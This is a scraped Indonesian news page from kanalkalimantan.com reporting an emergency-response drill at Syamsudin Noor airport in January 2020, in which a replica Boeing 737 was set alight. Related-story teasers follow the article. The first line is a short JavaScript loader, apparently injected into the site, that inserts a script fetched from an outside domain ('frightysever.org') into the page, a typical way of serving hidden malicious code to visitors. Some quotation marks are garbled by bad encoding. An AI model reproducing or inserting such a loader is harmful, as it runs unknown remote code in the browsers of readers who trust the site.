(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Masyarakat dihebohkan dengan banyaknya ambulance serta pemadam kebakaran yang berada di dalam kawasan landasan pacu Bandara Internasional Syamsudin Noor, Kamis (30/1/2020) malam. Apa yang sebenarnya terjadi?
Ilham (25), mengaku dirinya baru saja pulang dari arah Banjarmasin menuju Banjarbaru, dengan melintasi jalan A Yani. Ia mengaku terkejut, saat melihat dibalik pagar besi Bandara, terpakir banyak mobil dengan lampu sirine menyala. Terlibah lagi, ia secara langsung melihat sebuah pesawat terlahap api.
“Itu ada pesawat kebakar, ada kecelakaan ya? Rame banget itu. Bukan saya saja, banyak pengendara yang berhenti dan menepi di jalan melihat kejadian ini,†akunya.
Tapi, jangan panik. Apa yang terjadi pada malam ini merupakan simulasi latihan yang digelar PT Angkasa Pura I dalam penanggulangan keadaan darurat di Bandara Syamsudin Noor.
Latihan ini diberi nama Aircraft Accident Exercis, dimana disimulasikan pesawat Meratus Air yang berjenis Boeing 737-900 ER (PK-MRT) mengalami kegagalan pada saat landing hingga pesawat terhempas ke selatan Bandara Internasional Syamsudin Noor. Pesawat yang terbakar ini tidaklah asli dan hanya merupakan replika saja.
Dalam skenario ini digambarkan pula dari jumlah 192 penumpang dan 8 kru pesawat Meratus Air, sebanyak 20 orang korban meninggal dunia, 20 orang mengalami luka berat, 60 orang mengalami luka sedang dan luka ringan sebanyak 100 orang.
“Suasana simulasi dalam setiap latihan dirancang sedemikian rupa mendekati kondisi nyata, dimana korban jiwa, korban luka, api, dan semua kondisi darurat yang terjadi ditangani sesuai dengan pedoman yang tertuang di dalam Airport Emergency Plan (AEP) dan Airport Security Programme (ASP),†kata Direktur Operasi Angkasa Pura I, Wendo Asrul Rose.
Kepala Komunikasi dan Legal Bandara Syamsudin Noor Aditya Putra Patria mengimbau masyarakat untuk tidak panik atas digelarnya simulasi pelatihan ini.
“Tetap tenang dan tidak perlu panik. Memang ada menjadi sorotan, tapi kita tegaskam bahwa ini hanya simulasi saja,†imbaunya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.